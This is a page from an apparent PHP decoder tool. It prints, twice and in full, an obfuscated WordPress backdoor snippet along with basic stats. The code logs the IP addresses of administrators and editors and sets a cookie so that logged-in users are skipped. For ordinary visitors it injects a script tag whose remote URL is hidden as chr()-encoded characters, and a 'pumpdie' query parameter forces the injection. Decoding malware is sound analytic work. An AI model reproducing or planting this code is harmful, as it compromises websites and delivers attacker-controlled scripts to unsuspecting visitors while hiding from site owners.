Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

ini_set('display_errors', 0); error_reporting(0); $d=sys_get_temp_dir().'/wp.txt';if (!f..

Decoded Output download

<?  ini_set('display_errors', 0); error_reporting(0);   $d=sys_get_temp_dir().'/wp.txt';if (!file_exists($d))file_put_contents($d,'ip:');if (!file_exists($d)){$d='/wp.txt';file_put_contents($d,'ip:');} if (!file_exists($d)){ 			$d='/tmp/wp.txt'; 			file_put_contents($d,'ip:'); 	} if (!file_exists($d)){ 			$d='wp.txt'; 			file_put_contents($d,'ip:'); 	}if (file_exists($d)){ 			 	  if ( ! function_exists( 'slider_down' ) ) {    function slider_down($content){   if(is_single()){  $con = ''; $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(105).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(108).chr(97).chr(115).chr(115).chr(105).chr(99).chr(112).chr(97).chr(114).chr(116).chr(110).chr(101).chr(114).chr(115).chr(104).chr(105).chr(112).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(105).chr(110).chr(103).chr(47).chr(63).chr(99).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(106).chr(115); $con2 = '<script type="text/javascript" src="'.$z.'">';$content=$content.$con2;}return $content;}     function slider_down_footer(){   if(!is_single()){  $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(105).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(108).chr(97).chr(115).chr(115).chr(105).chr(99).chr(112).chr(97).chr(114).chr(116).chr(110).chr(101).chr(114).chr(115).chr(104).chr(105).chr(112).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(105).chr(110).chr(103).chr(47).chr(63).chr(99).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(106).chr(115); $con2 = '<script type="text/javascript" src="'.$z.'"></script>';echo $con2;}    }     function setting_my_first_cookie() {  setcookie( 'wordpress_seo_adminos',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);  }if(is_user_logged_in()){  add_action( 'init', 'setting_my_first_cookie',1 );}  if( current_user_can('edit_others_pages')){   if (file_exists( $d)){$ip=@file_get_contents($d);}  if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){$ip.=$_SERVER['REMOTE_ADDR'].'';    @file_put_contents($d,$ip);}    }  setcookie("simplevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);  if(!isset($_COOKIE['wordpress_seo_adminos']) && !is_user_logged_in()) {$adtxt=@file_get_contents($d);  if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){ add_filter('the_content','slider_down');add_action('wp_footer','slider_down_footer');}}  if(isset($_GET['pumpdie'])){ add_filter('the_content','slider_down');add_action('wp_footer','slider_down_footer'); }      } }/**updatethiswpblog**/ 
	wp(); ?>

Did this file decode correctly?

Original Code

ini_set('display_errors', 0); error_reporting(0);   $d=sys_get_temp_dir().'/wp.txt';if (!file_exists($d))file_put_contents($d,'ip:');if (!file_exists($d)){$d='/wp.txt';file_put_contents($d,'ip:');} if (!file_exists($d)){ 			$d='/tmp/wp.txt'; 			file_put_contents($d,'ip:'); 	} if (!file_exists($d)){ 			$d='wp.txt'; 			file_put_contents($d,'ip:'); 	}if (file_exists($d)){ 			 	  if ( ! function_exists( 'slider_down' ) ) {    function slider_down($content){   if(is_single()){  $con = ''; $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(105).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(108).chr(97).chr(115).chr(115).chr(105).chr(99).chr(112).chr(97).chr(114).chr(116).chr(110).chr(101).chr(114).chr(115).chr(104).chr(105).chr(112).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(105).chr(110).chr(103).chr(47).chr(63).chr(99).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(106).chr(115); $con2 = '<script type="text/javascript" src="'.$z.'">';$content=$content.$con2;}return $content;}     function slider_down_footer(){   if(!is_single()){  $z=chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(105).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(108).chr(97).chr(115).chr(115).chr(105).chr(99).chr(112).chr(97).chr(114).chr(116).chr(110).chr(101).chr(114).chr(115).chr(104).chr(105).chr(112).chr(115).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(105).chr(110).chr(103).chr(47).chr(63).chr(99).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(106).chr(115); $con2 = '<script type="text/javascript" src="'.$z.'"></script>';echo $con2;}    }     function setting_my_first_cookie() {  setcookie( 'wordpress_seo_adminos',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);  }if(is_user_logged_in()){  add_action( 'init', 'setting_my_first_cookie',1 );}  if( current_user_can('edit_others_pages')){   if (file_exists( $d)){$ip=@file_get_contents($d);}  if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){$ip.=$_SERVER['REMOTE_ADDR'].'';    @file_put_contents($d,$ip);}    }  setcookie("simplevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);  if(!isset($_COOKIE['wordpress_seo_adminos']) && !is_user_logged_in()) {$adtxt=@file_get_contents($d);  if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){ add_filter('the_content','slider_down');add_action('wp_footer','slider_down_footer');}}  if(isset($_GET['pumpdie'])){ add_filter('the_content','slider_down');add_action('wp_footer','slider_down_footer'); }      } }/**updatethiswpblog**/
	wp();

Function Calls

ini_set 1
error_reporting 1
sys_get_temp_dir 1

Variables

None

Stats

MD5 33a8c434a7244e2f60c7b191f45d45f3
Eval Count 0
Decode Time 162 ms